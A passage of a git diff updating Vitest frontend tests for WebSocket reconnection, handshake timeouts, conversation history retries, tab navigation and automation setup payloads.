Error("profile endpoint unavailable"), ); - vi.mocked(SettingsService.saveSettings).mockResolvedValue(true); const { result } = renderSwitchHook(); result.current.mutate({ conversationId: null, model: "gemini-2.5-pro" }); await waitFor(() => { - expect(result.current.isSuccess).toBe(true); + expect(result.current.isError).toBe(true); }); - expect(SettingsService.saveSettings).toHaveBeenCalledWith({ - agent_settings_diff: { acp_model: "gemini-2.5-pro" }, - }); + expect(SettingsService.saveSettings).not.toHaveBeenCalled(); expect(AgentProfilesService.saveProfile).not.toHaveBeenCalled(); }); diff --git a/__tests__/hooks/query/use-conversation-history.test.tsx b/__tests__/hooks/query/use-conversation-history.test.tsx index 998e06cf97c8..39b5810a8e81 100644 --- a/__tests__/hooks/query/use-conversation-history.test.tsx +++ b/__tests__/hooks/query/use-conversation-history.test.tsx @@ -1,7 +1,11 @@ import { describe, it, expect, afterEach, beforeEach, vi } from "vitest"; import React from "react"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { act, renderHook, waitFor } from "@testing-library/react"; +import { + QueryClient, + QueryClientProvider, + onlineManager, +} from "@tanstack/react-query"; import { INITIAL_HISTORY_PAGE_SIZE, @@ -193,15 +197,85 @@ describe("useConversationHistory", () => { { wrapper }, ); - await waitFor(() => { - expect(result.current.error).toBeInstanceOf(Error); - }); + // The hook sets `retry: 1` (overriding this file's `retry: false` client + // default), so the error only settles after one ~1s retry delay. + await waitFor( + () => { + expect(result.current.error).toBeInstanceOf(Error); + }, + { timeout: 5000 }, + ); expect((result.current.error as Error).message).toBe( "Invalid conversation history response: expected page.items to be an array.", ); }); + it("retries a failed initial load exactly once before surfacing the error", async () => { + vi.mocked(useUserConversation).mockReturnValue({ + data: makeConversation("V1"), + isLoading: false, + isPending: false, + isError: false, + error: null, + refetch: vi.fn(), + } as any); + + const searchEventsSpy = vi + .spyOn(EventService, "searchEvents") + .mockRejectedValue(new Error("network down")); + + const { result } = renderHook(() => useConversationHistory("conv-retry"), { + wrapper, + }); + + await waitFor( + () => { + expect(result.current.isError).toBe(true); + }, + { timeout: 5000 }, + ); + + // Exactly one retry: enough to absorb a transient blip, but a bad first + // load can't hold the WebSocket gate closed for a long retry chain. + expect(searchEventsSpy).toHaveBeenCalledTimes(2); + }); + + it("does not refetch when the browser comes back online", async () => { + vi.mocked(useUserConversation).mockReturnValue({ + data: makeConversation("V1"), + isLoading: false, + isPending: false, + isError: false, + error: null, + refetch: vi.fn(), + } as any); + + const searchEventsSpy = vi + .spyOn(EventService, "searchEvents") + .mockResolvedValue(makePage([makeEvent()])); + + const { result } = renderHook( + () => useConversationHistory("conv-online-flap"), + { wrapper }, + ); + await waitFor(() => { + expect(result.current.data).toBeDefined(); + }); + + // Act: an online/offline flap, as flaky links produce continuously. The + // events missed while offline arrive over the WebSocket `since` replay, + // so the query must not refetch (each refetch used to drop the socket). + await act(async () => { + onlineManager.setOnline(false); + onlineManager.setOnline(true); + await new Promise((resolve) => { + setTimeout(resolve, 150); + }); + }); + + expect(searchEventsSpy).toHaveBeenCalledTimes(1); + }); }); describe("useConversationHistory cache key stability", () => { diff --git a/__tests__/hooks/use-bash-command-runner.test.ts b/__tests__/hooks/use-bash-command-runner.test.ts index 8f9b86c77259..368f71db56bb 100644 --- a/__tests__/hooks/use-bash-command-runner.test.ts +++ b/__tests__/hooks/use-bash-command-runner.test.ts @@ -131,4 +131,65 @@ describe("useBashCommandRunner", () => { unmount(); }); + + it("closes a handshake stuck in CONNECTING at the timeout", () => { + // Arrange: the server never completes the 101 upgrade. Left alone, this + // socket would hold the browser's per-host handshake lock and block the + // conversation's events socket indefinitely. + vi.stubGlobal("WebSocket", MockWebSocket); + vi.useFakeTimers(); + + try { + const { unmount } = renderHook(() => + useBashCommandRunner( + "http://runtime.example.com/api/conversations/conv-1", + null, + true, + ), + ); + const socket = MockWebSocket.instance!; + const closeSpy = vi.spyOn(socket, "close"); + + // Act/Assert: untouched just before the timeout, closed right at it. + vi.advanceTimersByTime(9_999); + expect(closeSpy).not.toHaveBeenCalled(); + + vi.advanceTimersByTime(1); + expect(closeSpy).toHaveBeenCalledOnce(); + expect(socket.readyState).toBe(MockWebSocket.CLOSED); + + unmount(); + } finally { + vi.useRealTimers(); + } + }); + + it("does not close a socket that finished its handshake in time", () => { + vi.stubGlobal("WebSocket", MockWebSocket); + vi.useFakeTimers(); + + try { + const { unmount } = renderHook(() => + useBashCommandRunner( + "http://runtime.example.com/api/conversations/conv-1", + null, + true, + ), + ); + const socket = MockWebSocket.instance!; + const closeSpy = vi.spyOn(socket, "close"); + + // Act: the handshake completes, then the watchdog window elapses. + socket.open(); + vi.advanceTimersByTime(60_000); + + // Assert: the cleared watchdog never touched the healthy socket. + expect(closeSpy).not.toHaveBeenCalled(); + expect(socket.readyState).toBe(MockWebSocket.OPEN); + + unmount(); + } finally { + vi.useRealTimers(); + } + }); }); diff --git a/__tests__/hooks/use-select-conversation-tab.test.ts b/__tests__/hooks/use-select-conversation-tab.test.ts index 2fa1bbcead0b..0d6170113395 100644 --- a/__tests__/hooks/use-select-conversation-tab.test.ts +++ b/__tests__/hooks/use-select-conversation-tab.test.ts @@ -37,17 +37,16 @@ describe("useSelectConversationTab", () => { result.current.selectTab("files"); }); - // Assert: Panel should be open and tab selected (in-memory only). + // Assert: Panel should be open and tab selected. expect(useConversationStore.getState().selectedTab).toBe("files"); expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); + expect(useConversationStore.getState().isRightPanelShown).toBe(true); - // Tab selection is persisted; the right-drawer open state is - // intentionally session-only and must NOT touch localStorage. const storedState = JSON.parse( localStorage.getItem(`conversation-state-${TEST_CONVERSATION_ID}`)!, ); expect(storedState.selectedTab).toBe("files"); - expect(storedState).not.toHaveProperty("rightPanelShown"); + expect(storedState.rightPanelShown).toBe(true); }); it("should close panel when clicking the same active tab", () => { @@ -65,19 +64,14 @@ describe("useSelectConversationTab", () => { result.current.selectTab("files"); }); - // Assert: Panel should be closed (in-memory only). + // Assert: Panel should be closed and persisted. expect(useConversationStore.getState().hasRightPanelToggled).toBe(false); + expect(useConversationStore.getState().isRightPanelShown).toBe(false); - // The drawer-close shouldn't have written to localStorage at all - // (session-only behavior). If anything is persisted, it's just the - // pre-existing tab selection from earlier writes — never a - // `rightPanelShown` field. - const raw = localStorage.getItem( - `conversation-state-${TEST_CONVERSATION_ID}`, + const storedState = JSON.parse( + localStorage.getItem(`conversation-state-${TEST_CONVERSATION_ID}`)!, ); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } + expect(storedState.rightPanelShown).toBe(false); }); it("should switch to different tab when panel is already open", () => { @@ -153,6 +147,77 @@ describe("useSelectConversationTab", () => { }); }); + describe("navigateToTab", () => { + it("always opens the panel even when isRightPanelShown is stale true", () => { + useConversationStore.setState({ + selectedTab: "terminal", + isRightPanelShown: true, + hasRightPanelToggled: false, + isOverviewPanelShown: true, + }); + + const { result } = renderHook(() => useSelectConversationTab()); + + act(() => { + result.current.navigateToTab("files"); + }); + + expect(useConversationStore.getState().selectedTab).toBe("files"); + expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + }); + + describe("navigateToChanges", () => { + it("opens the commits tab with Uncommitted requested", () => { + useConversationStore.setState({ + selectedTab: "terminal", + isRightPanelShown: false, + hasRightPanelToggled: false, + isOverviewPanelShown: true, + commitsAutoExpandSection: null, + }); + + const { result } = renderHook(() => useSelectConversationTab()); + + act(() => { + result.current.navigateToChanges(); + }); + + expect(useConversationStore.getState().selectedTab).toBe("commits"); + expect(useConversationStore.getState().commitsAutoExpandSection).toBe( + "uncommitted", + ); + expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + }); + + describe("navigateToCommits", () => { + it("opens the commits tab without requesting Uncommitted", () => { + useConversationStore.setState({ + selectedTab: "terminal", + isRightPanelShown: false, + hasRightPanelToggled: false, + isOverviewPanelShown: true, + commitsAutoExpandSection: "uncommitted", + }); + + const { result } = renderHook(() => useSelectConversationTab()); + + act(() => { + result.current.navigateToCommits(); + }); + + expect(useConversationStore.getState().selectedTab).toBe("commits"); + expect( + useConversationStore.getState().commitsAutoExpandSection, + ).toBeNull(); + expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); + expect(useConversationStore.getState().isOverviewPanelShown).toBe(false); + }); + }); + describe("onTabChange", () => { it("should update both Zustand store and localStorage when changing tab", () => { // Arrange diff --git a/__tests__/hooks/use-tracking.test.ts b/__tests__/hooks/use-tracking.test.ts index 9ce89e22bd69..66fdfd88a6a1 100644 --- a/__tests__/hooks/use-tracking.test.ts +++ b/__tests__/hooks/use-tracking.test.ts @@ -420,6 +420,28 @@ describe("useTracking", () => { }); }); + describe("trackOnboardingLinkClicked", () => { + it("captures onboarding_link_clicked with the typed link contract and commonProperties", () => { + getTracking().trackOnboardingLinkClicked({ + linkId: "join_slack", + destinationType: "community", + surface: "landing_checklist", + checklistItem: "join_slack", + isExternal: true, + }); + + expect(captureMock).toHaveBeenCalledWith("onboarding_link_clicked", { + link_id: "join_slack", + destination_type: "community", + surface: "landing_checklist", + checklist_item: "join_slack", + step_id: undefined, + is_external: true, + ...COMMON, + }); + }); + }); + describe("shared telemetry boundary", () => { it("delegates consent enforcement when backend settings report false", () => { useSettingsMock.mockReturnValue({ diff --git a/__tests__/hooks/use-websocket.test.ts b/__tests__/hooks/use-websocket.test.ts index 3f2f4a0de014..bbba20a61904 100644 --- a/__tests__/hooks/use-websocket.test.ts +++ b/__tests__/hooks/use-websocket.test.ts @@ -56,18 +56,22 @@ describe("useWebSocket", () => { }; it("should establish a WebSocket connection", async () => { - const { result } = renderHook(() => useWebSocket("ws://acme.com/ws")); + const messages: string[] = []; + const { result } = renderHook(() => + useWebSocket("ws://acme.com/ws", { + onMessage: (event) => messages.push(event.data), + }), + ); // Initially should not be connected expect(result.current.isConnected).toBe(false); - expect(result.current.lastMessage).toBe(null); // Wait for connection to be established await waitForConnection(result); - // Should receive the welcome message from our mock + // Should deliver the welcome message from our mock via onMessage await waitFor(() => { - expect(result.current.lastMessage).toBe("Welcome to the WebSocket!"); + expect(messages).toContain("Welcome to the WebSocket!"); }); // Confirm that the WebSocket connection is established when the hook is used @@ -116,8 +120,11 @@ describe("useWebSocket", () => { vi.stubGlobal("WebSocket", MockWebSocket); try { + const messages: string[] = []; const { result, unmount } = renderHook(() => - useWebSocket("ws://acme.com/ws"), + useWebSocket("ws://acme.com/ws", { + onMessage: (event) => messages.push(event.data), + }), ); await waitForConnection(result); @@ -134,7 +141,10 @@ describe("useWebSocket", () => { ); }); - expect(result.current.lastMessage).toBe("third"); + // Every frame is delivered via onMessage, but the hook retains no raw + // message history of its own — not even the latest. + expect(messages).toEqual(["first", "second", "third"]); + expect("lastMessage" in result.current).toBe(false); expect("messages" in result.current).toBe(false); unmount(); @@ -144,32 +154,6 @@ describe("useWebSocket", () => { } }); - it.skip("should handle incoming messages correctly", async () => { - const { result } = renderHook(() => useWebSocket("ws://acme.com/ws")); - - // Wait for connection to be established - await waitFor(() => { - expect(result.current.isConnected).toBe(true); - }); - - // Should receive the welcome message from our mock - await waitFor(() => { - expect(result.current.lastMessage).toBe("Welcome to the WebSocket!"); - }); - - // Send another message from the mock server - wsLink.broadcast("Hello from server!"); - - await waitFor(() => { - expect(result.current.lastMessage).toBe("Hello from server!"); - }); - - // The hook intentionally keeps only the latest message; consumers that - // need durable history should store parsed events in their own domain - // store instead of retaining every raw websocket frame here. - expect("messages" in result.current).toBe(false); - }); - it("should handle connection errors gracefully", async () => { // Create a mock that will simulate an error const errorLink = ws.link("ws://error-test.com/ws"); @@ -474,23 +458,18 @@ describe("useWebSocket", () => { expect(result.current.isConnected).toBe(true); }); - // Should receive the welcome message from our mock + // onMessage handler should have been called for the welcome message await waitFor(() => { - expect(result.current.lastMessage).toBe("Welcome to the WebSocket!"); + expect(onMessageSpy).toHaveBeenCalledOnce(); }); - // onMessage handler should have been called for the welcome message - expect(onMessageSpy).toHaveBeenCalledOnce(); - // Send another message from the mock server wsLink.broadcast("Hello from server!"); + // onMessage handler should have been called twice now await waitFor(() => { - expect(result.current.lastMessage).toBe("Hello from server!"); + expect(onMessageSpy).toHaveBeenCalledTimes(2); }); - - // onMessage handler should have been called twice now - expect(onMessageSpy).toHaveBeenCalledTimes(2); }); it("should call onError handler when WebSocket encounters an error", async () => { @@ -551,6 +530,311 @@ describe("useWebSocket", () => { expect(sendSpy).toHaveBeenCalledWith("Hello WebSocket!"); }); + it("closes a handshake stuck in CONNECTING at the timeout and retries", async () => { + // Arrange: a socket whose handshake never completes. Closing it while + // CONNECTING fires error + close(1006), as browsers do. + class MockWebSocket { + static readonly CONNECTING = 0; + static readonly OPEN = 1; + static readonly CLOSING = 2; + static readonly CLOSED = 3; + static readonly instances: MockWebSocket[] = []; + + readonly url: string; + readyState = MockWebSocket.CONNECTING; + onopen: ((event: Event) => void) | null = null; + onmessage: ((event: MessageEvent) => void) | null = null; + onclose: ((event: CloseEvent) => void) | null = null; + onerror: ((event: Event) => void) | null = null; + + constructor(url: string) { + this.url = url; + MockWebSocket.instances.push(this); + } + + send() {} + + close() { + this.readyState = MockWebSocket.CLOSED; + this.onerror?.(new Event("error")); + this.onclose?.( + new CloseEvent("close", { code: 1006, reason: "", wasClean: false }), + ); + } + } + + const originalWebSocket = globalThis.WebSocket; + vi.stubGlobal("WebSocket", MockWebSocket); + vi.useFakeTimers(); + vi.spyOn(Math, "random").mockReturnValue(0); // deterministic backoff + + try { + const { unmount } = renderHook(() => + useWebSocket("ws://acme.com/ws", { reconnect: { enabled: true } }), + ); + const firstSocket = MockWebSocket.instances[0]; + + // Act/Assert: just before the timeout the handshake is still pending. + await act(async () => { + vi.advanceTimersByTime(9_999); + }); + expect(firstSocket.readyState).toBe(MockWebSocket.CONNECTING); + expect(MockWebSocket.instances).toHaveLength(1); + + // At the timeout the stuck socket is closed (releasing the browser's + // per-host handshake lock)... + await act(async () => { + vi.advanceTimersByTime(1); + }); + expect(firstSocket.readyState).toBe(MockWebSocket.CLOSED); + + // ...and a fresh attempt follows after the first backoff delay. + await act(async () => { + vi.advanceTimersByTime(1_000); + }); + expect(MockWebSocket.instances).toHaveLength(2); + + unmount(); + } finally { + vi.useRealTimers(); + globalThis.WebSocket = originalWebSocket; + MockWebSocket.instances.length = 0; + } + }); + + it("does not close a socket that finished its handshake in time", async () => { + class MockWebSocket { + static readonly CONNECTING = 0; + static readonly OPEN = 1; + static readonly CLOSING = 2; + static readonly CLOSED = 3; + static instance: MockWebSocket | null = null; + + readonly url: string; + readyState = MockWebSocket.CONNECTING; + onopen: ((event: Event) => void) | null = null; + onmessage: ((event: MessageEvent) => void) | null = null; + onclose: ((event: CloseEvent) => void) | null = null; + onerror: ((event: Event) => void) | null = null; + + constructor(url: string) { + this.url = url; + MockWebSocket.instance = this; + } + + send() {} + + close() { + this.readyState = MockWebSocket.CLOSED; + } + } + + const originalWebSocket = globalThis.WebSocket; + vi.stubGlobal("WebSocket", MockWebSocket); + vi.useFakeTimers(); + + try { + const { unmount } = renderHook(() => useWebSocket("ws://acme.com/ws")); + const socket = MockWebSocket.instance!; + const closeSpy = vi.spyOn(socket, "close"); + + // Act: the handshake completes, then the watchdog window elapses. + await act(async () => { + socket.readyState = MockWebSocket.OPEN; + socket.onopen?.(new Event("open")); + }); + await act(async () => { + vi.advanceTimersByTime(60_000); + }); + + // Assert: the cleared watchdog never touched the healthy socket. + expect(closeSpy).not.toHaveBeenCalled(); + expect(socket.readyState).toBe(MockWebSocket.OPEN); + + unmount(); + } finally { + vi.useRealTimers(); + globalThis.WebSocket = originalWebSocket; + MockWebSocket.instance = null; + } + }); + + it("spaces reconnect attempts with exponential backoff capped at 30s", async () => { + // Arrange: every connection attempt fails immediately. + class MockWebSocket { + static readonly CONNECTING = 0; + static readonly OPEN = 1; + static readonly CLOSING = 2; + static readonly CLOSED = 3; + static readonly instances: MockWebSocket[] = []; + + readonly url: string; + readyState = MockWebSocket.CONNECTING; + onopen: ((event: Event) => void) | null = null; + onmessage: ((event: MessageEvent) => void) | null = null; + onclose: ((event: CloseEvent) => void) | null = null; + onerror: ((event: Event) => void) | null = null; + + constructor(url: string) { + this.url = url; + MockWebSocket.instances.push(this); + queueMicrotask(() => { + this.readyState = MockWebSocket.CLOSED; + this.onclose?.( + new CloseEvent("close", { + code: 1006, + reason: "", + wasClean: false, + }), + ); + }); + } + + send() {} + + close() { + this.readyState = MockWebSocket.CLOSED; + } + } + + const originalWebSocket = globalThis.WebSocket; + vi.stubGlobal("WebSocket", MockWebSocket); + vi.useFakeTimers(); + vi.spyOn(Math, "random").mockReturnValue(0); // strip the jitter + + const expectInstancesAfter = async ( + advanceMs: number, + expected: number, + ) => { + await act(async () => { + vi.advanceTimersByTime(advanceMs); + }); + expect(MockWebSocket.instances).toHaveLength(expected); + }; + + try { + const { unmount } = renderHook(() => + useWebSocket("ws://acme.com/ws", { reconnect: { enabled: true } }), + ); + // Flush the first attempt's immediate failure. + await act(async () => {}); + expect(MockWebSocket.instances).toHaveLength(1); + + // Act/Assert: retries land at 1s, then 2s, then 4s after each failure. + await expectInstancesAfter(999, 1); + await expectInstancesAfter(1, 2); + await expectInstancesAfter(1_999, 2); + await expectInstancesAfter(1, 3); + await expectInstancesAfter(3_999, 3); + await expectInstancesAfter(1, 4); + await expectInstancesAfter(7_999, 4); + await expectInstancesAfter(1, 5); + await expectInstancesAfter(15_999, 5); + await expectInstancesAfter(1, 6); + + // The sixth failure would double to 32s; the cap holds it at 30s... + await expectInstancesAfter(29_999, 6); + await expectInstancesAfter(1, 7); + + // ...and every failure after that stays at 30s rather than growing. + await expectInstancesAfter(29_999, 7); + await expectInstancesAfter(1, 8); + + unmount(); + } finally { + vi.useRealTimers(); + globalThis.WebSocket = originalWebSocket; + MockWebSocket.instances.length = 0; + } + }); + + it("ignores close/error events from a socket that was replaced", async () => { + // Arrange: sockets that only emit events when the test fires them, so the + // old socket's close can land *after* its replacement is open — the race + // that used to overwrite the new socket's OPEN state. + class MockWebSocket { + static readonly CONNECTING = 0; + static readonly OPEN = 1; + static readonly CLOSING = 2; + static readonly CLOSED = 3; + static readonly instances: MockWebSocket[] = []; + + readonly url: string; + readyState = MockWebSocket.CONNECTING; + onopen: ((event: Event) => void) | null = null; + onmessage: ((event: MessageEvent) => void) | null = null; + onclose: ((event: CloseEvent) => void) | null = null; + onerror: ((event: Event) => void) | null = null; + + constructor(url: string) { + this.url = url; + MockWebSocket.instances.push(this); + } + + send() {} + + close() { + this.readyState = MockWebSocket.CLOSED; + } + + emitOpen() { + this.readyState = MockWebSocket.OPEN; + this.onopen?.(new Event("open")); + } + + emitFailure() { + this.onerror?.(new Event("error")); + this.emitClose(); + } + + emitClose() { + this.onclose?.( + new CloseEvent("close", { code: 1006, reason: "", wasClean: false }), + ); + } + } + + const originalWebSocket = globalThis.WebSocket; + vi.stubGlobal("WebSocket", MockWebSocket); + + const onCloseSpy = vi.fn(); + const onErrorSpy = vi.fn(); + + try { + const { result, unmount } = renderHook(() => + useWebSocket("ws://acme.com/ws", { + onClose: onCloseSpy, + onError: onErrorSpy, + }), + ); + const staleSocket = MockWebSocket.instances[0]; + act(() => staleSocket.emitOpen()); + + // Act: replace the socket, open the replacement, then let the stale + // socket's error + close events land late. + act(() => { + result.current.reconnect(); + }); + const currentSocket = MockWebSocket.instances[1]; + act(() => currentSocket.emitOpen()); + act(() => staleSocket.emitFailure()); + + // Assert: the stale socket's events reach neither handler... + expect(onCloseSpy).not.toHaveBeenCalled(); + expect(onErrorSpy).not.toHaveBeenCalled(); + + // ...while the current socket's close still notifies as before. + act(() => currentSocket.emitClose()); + expect(onCloseSpy).toHaveBeenCalledOnce(); + expect(onErrorSpy).toHaveBeenCalledOnce(); + + unmount(); + } finally { + globalThis.WebSocket = originalWebSocket; + MockWebSocket.instances.length = 0; + } + }); + it("should not send message when WebSocket is not connected", () => { const { result } = renderHook(() => useWebSocket("ws://acme.com/ws")); diff --git a/__tests__/manifests/automation-insights.test.ts b/__tests__/manifests/automation-insights.test.ts index f6592f641043..a7f0dfbe3504 100644 --- a/__tests__/manifests/automation-insights.test.ts +++ b/__tests__/manifests/automation-insights.test.ts @@ -49,6 +49,7 @@ function settled(summary: Partial): RunSummaryState { summary: { total: 0, latestRun: null, + recentRuns: [], recentSuccessRate: null, averageDurationMs: null, ...summary, @@ -157,6 +158,7 @@ describe("summarizeAutomationRuns", () => { expect(summary).toEqual({ total: 40, latestRun: runs[0], + recentRuns: runs, recentSuccessRate: 0.5, averageDurationMs: (30_000 + 90_000) / 2, }); diff --git a/__tests__/manifests/automation-setup.test.ts b/__tests__/manifests/automation-setup.test.ts index 8dbb92197f2d..bce1e3781a6f 100644 --- a/__tests__/manifests/automation-setup.test.ts +++ b/__tests__/manifests/automation-setup.test.ts @@ -16,6 +16,20 @@ import { import { validateFormValues } from "#/manifests/manifest-local-validation"; import { SETUP_REGISTRY } from "#/manifests/manifest-sources"; import type { SetupEntry, SetupFormValues } from "#/manifests/types"; +import { createSetup, createSetupEntry } from "./manifest-test-data"; + +// The one word of a derived name the host writes rather than reads off the +// entry is translated, and the derivation runs where no translator can be +// passed in, so it reads the shared instance. Rendered as `en` does, because +// the fixtures pin the sentence the service was sent; the spy is what pins the +// key, so both halves stay covered. +const { translate } = vi.hoisted(() => ({ + translate: vi.fn( + (_key: string, options: Record) => + `${options.total} repositories`, + ), +})); +vi.mock("#/i18n", () => ({ default: { t: translate } })); // The command a skill publishes in its own frontmatter, which the host looks // up rather than storing. Pinned so the assertion does not move when the @@ -30,9 +44,21 @@ vi.mock("@openhands/extensions/skills", () => ({ triggers: ["/incident-retro:setup"], content: "", }, + { + name: "github-repo-monitor", + description: "Watch a GitHub repository for mentions.", + triggers: ["/github-monitor:poll"], + content: "", + }, ], })); +/** The command each assisted entry's skill publishes, keyed by the entry it belongs to. */ +const SETUP_COMMANDS: Record = { + "incident-retrospective-drafter": "/incident-retro:setup", + "github-repo-monitor": "/github-monitor:poll", +}; + /** * The reference fixtures `OpenHands/extensions` publishes with its catalog. * Their request bodies were verified against the live service, and the create @@ -48,6 +74,8 @@ interface FixtureScenario { id: string; formValues?: SetupFormValues; localValidation?: { valid: boolean }; + /** Bundle entries only: where the packed archive landed. */ + upload?: { response: { body: { tarball_path: string } } }; preflight?: FixtureExchange; create?: FixtureExchange; conversation?: { request: { action: string; message: string } }; @@ -93,6 +121,8 @@ const CREATE_CASES = BUNDLES.flatMap((bundle) => automationId: bundle.automationId, formValues: scenario.formValues ?? {}, body: scenario.create.request.body, + // A prompt entry records none; buildCreatePayload ignores it. + tarballPath: scenario.upload?.response.body.tarball_path, }, ] : [], @@ -177,11 +207,16 @@ describe("the contract fixtures", () => { ); // Assert + // The fixtures cover both creation paths: a prompt entry through the preset + // endpoint, and a bundle entry through the plain create it uploads to first. expect({ - create: [...createPaths], + create: [...createPaths].sort(), preflight: [...preflightPaths], }).toEqual({ - create: [automationCreateEndpoint()], + create: [ + automationCreateEndpoint(requireEntry("github-pr-reviewer")), + automationCreateEndpoint(), + ].sort(), preflight: ["/v1/validate"], }); }); @@ -190,18 +225,62 @@ describe("the contract fixtures", () => { describe("buildCreatePayload", () => { it.each(CREATE_CASES)( "derives the $name create body its fixture pins", - ({ automationId, formValues, body }) => { + ({ automationId, formValues, body, tarballPath }) => { // Arrange const entry = requireEntry(automationId); // Act - const payload = buildCreatePayload(entry, formValues); + const payload = tarballPath + ? buildCreatePayload(entry, formValues, tarballPath) + : buildCreatePayload(entry, formValues); // Assert expect(payload).toEqual(body); }, ); + it("names an automation after the one repository it watches", () => { + // Arrange + const entry = requireEntry("github-pr-reviewer"); + + // Act + const payload = buildCreatePayload(entry, { + repositories: ["OpenHands/automation"], + }); + + // Assert + expect(payload?.name).toBe(`${entry.name} - OpenHands/automation`); + }); + + it("names an automation watching several through the host's translations", () => { + // Arrange — several repositories are a count rather than a list of names + // that would not fit, and a count is a word this host has to translate. + const { form } = createSetup(); + const entry = createSetupEntry({ + setup: createSetup({ + form: { + ...form, + args: { + ...form.args, + repository: { ...form.args.repository, multiple: true }, + }, + }, + }), + }); + + // Act + const payload = buildCreatePayload(entry, { + repository: ["OpenHands/automation", "OpenHands/extensions"], + widgetName: "Widgets", + }); + + // Assert + expect(payload?.name).toBe(`${entry.name} - 2 repositories`); + expect(translate).toHaveBeenCalledWith("SETUP$REPOSITORY_COUNT", { + total: 2, + }); + }); + it("sends no request body for an entry that hands setup to a conversation", () => { // Arrange const entry = requireEntry("incident-retrospective-drafter"); @@ -212,6 +291,43 @@ describe("buildCreatePayload", () => { // Assert expect(payload).toBeNull(); }); + + it("attaches template provenance when the entry carries a version", () => { + // Arrange + const entry = createSetupEntry({ version: "1.0.0" }); + const values = { + repository: "octo/widgets", + widgetName: "gadget", + schedule: "*/5 * * * *", + }; + + // Act + const payload = buildCreatePayload(entry, values); + + // Assert + expect(payload?.template).toEqual({ + id: "widget-monitor", + version: "1.0.0", + config: values, + }); + }); + + it("sends the payload unchanged for an entry without a version", () => { + // Arrange + const entry = createSetupEntry(); + const values = { + repository: "octo/widgets", + widgetName: "gadget", + schedule: "*/5 * * * *", + }; + + // Act + const payload = buildCreatePayload(entry, values); + + // Assert + expect(payload).not.toBeNull(); + expect(payload).not.toHaveProperty("template"); + }); }); describe("buildPreflightBody", () => { @@ -241,7 +357,7 @@ describe("buildAssistedMessage", () => { const seed = buildAssistedMessage(entry, formValues); // Assert - expect(seed).toBe(`/incident-retro:setup\n\n${message}`); + expect(seed).toBe(`${SETUP_COMMANDS[automationId]}\n\n${message}`); }, ); }); @@ -261,29 +377,21 @@ describe("service rejections mapped back to fields", () => { ); // Assert - expect(mapped).toEqual({ fieldErrors: expectedFieldErrors, formErrors: [] }); + expect(mapped).toEqual({ + fieldErrors: expectedFieldErrors, + formErrors: [], + }); }, ); }); describe("local validation of fixture form values", () => { - it("blocks the unsafe trigger phrase before any request is made", () => { - // Arrange — the fixture names the failing field; the code is the host's - // own vocabulary, rendered through its translations. - const scenario = requireScenario( - BUNDLES[1], - "quote-in-trigger-phrase-blocked-locally", - ); - const entry = requireEntry("github-repo-monitor"); - - // Act - const errors = validateFormValues(entry.setup, scenario.formValues ?? {}); - - // Assert - expect(errors).toEqual({ - triggerPhrase: { code: "unsafeExpressionLiteral" }, - }); - }); + // The unsafe-trigger-phrase case that used to live here is gone: it belonged + // to github-repo-monitor's event trigger, whose JMESPath filter the phrase was + // interpolated into. The entry now runs on cron, so no catalog entry declares + // the `safeExpressionLiteral` constraint any more and there is no fixture to + // pin. The constraint itself is still exercised, on a synthetic setup, by + // `manifest-local-validation.test.ts`. it("passes an entirely blank assisted form, as its fixture records", () => { // Arrange @@ -303,13 +411,15 @@ describe("deriveErrorMap", () => { // Act const errorMap = deriveErrorMap(requireEntry("github-pr-reviewer")); - // Assert + // Assert — a bundle's answers reach the service through its rendered + // config rather than through a prompt, so the paths are the config's. expect(errorMap).toEqual({ - name: ["repository"], - prompt: ["triggerLabel", "repository", "reviewTone"], - "repos[0].url": ["repository"], + name: ["repositories"], "trigger.schedule": ["schedule"], "trigger.timezone": ["timezone"], + "template.config.repos": ["repositories"], + "template.config.trigger_label": ["triggerLabel"], + "template.config.review_tone": ["reviewTone"], }); }); }); diff --git a/__tests__/manifests/manifest-actions.test.ts b/__tests__/manifests/manifest-actions.test.ts new file mode 100644 index 000000000000..3dba3f204998 --- /dev/null +++ b/__tests__/manifests/manifest-actions.test.ts @@ -0,0 +1,114 @@ +import { renderHook } from "@testing-library/react"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import AutomationService from "#/api/automation-service/automation-service.api"; +import { useSetupAction } from "#/manifests/manifest-actions"; +import type { SetupEntry } from "#/manifests/types"; +import { createSetup, createSetupEntry } from "./manifest-test-data"; + +/** + * The action bridge for a bundle entry, which is the only path that sends + * anything before the create call. Packing and the request layer have their own + * tests; what is exercised here is the order those two are used in. + */ +const mocks = vi.hoisted(() => ({ + packBundle: vi.fn(), +})); + +vi.mock("#/manifests/manifest-bundle", () => ({ + packBundle: mocks.packBundle, +})); + +vi.mock("#/api/automation-service/automation-service.api", () => ({ + default: { + uploadAutomationTarball: vi.fn(), + createAutomationDraft: vi.fn(), + }, +})); + +vi.mock("#/hooks/mutation/use-create-conversation", () => ({ + useCreateConversation: () => ({ mutateAsync: vi.fn() }), +})); + +vi.mock("#/stores/conversation-store", () => ({ + useConversationStore: (select: (state: unknown) => unknown) => + select({ setMessageToSend: vi.fn() }), +})); + +const ENTRY: SetupEntry = createSetupEntry({ + setup: createSetup({ + prompt: undefined, + bundle: { + version: "1.0.0", + entrypoint: "python3 main.py", + files: { "main.py": "skills/widget-monitor/scripts/main.py" }, + config: { repos: ["{{form.repository}}"] }, + }, + }), +}); + +const VALUES = { repository: "OpenHands/automation", widgetName: "Widgets" }; + +/** The payload the dialog derived for the form, carrying the stand-in path. */ +const PAYLOAD = { name: "Widget monitor" }; + +beforeEach(() => { + vi.clearAllMocks(); + mocks.packBundle.mockResolvedValue(new Uint8Array([1, 2, 3])); + vi.mocked(AutomationService.uploadAutomationTarball).mockResolvedValue( + "oh-internal://uploads/abc", + ); +}); + +describe("useSetupAction for a bundle entry", () => { + it("creates against the path the upload returned", async () => { + // Arrange + vi.mocked(AutomationService.createAutomationDraft).mockResolvedValue({ + id: "automation-1", + }); + const { result } = renderHook(() => useSetupAction()); + + // Act + await result.current(ENTRY, VALUES, PAYLOAD); + + // Assert — the stand-in path the form was checked with is replaced by the + // real one, 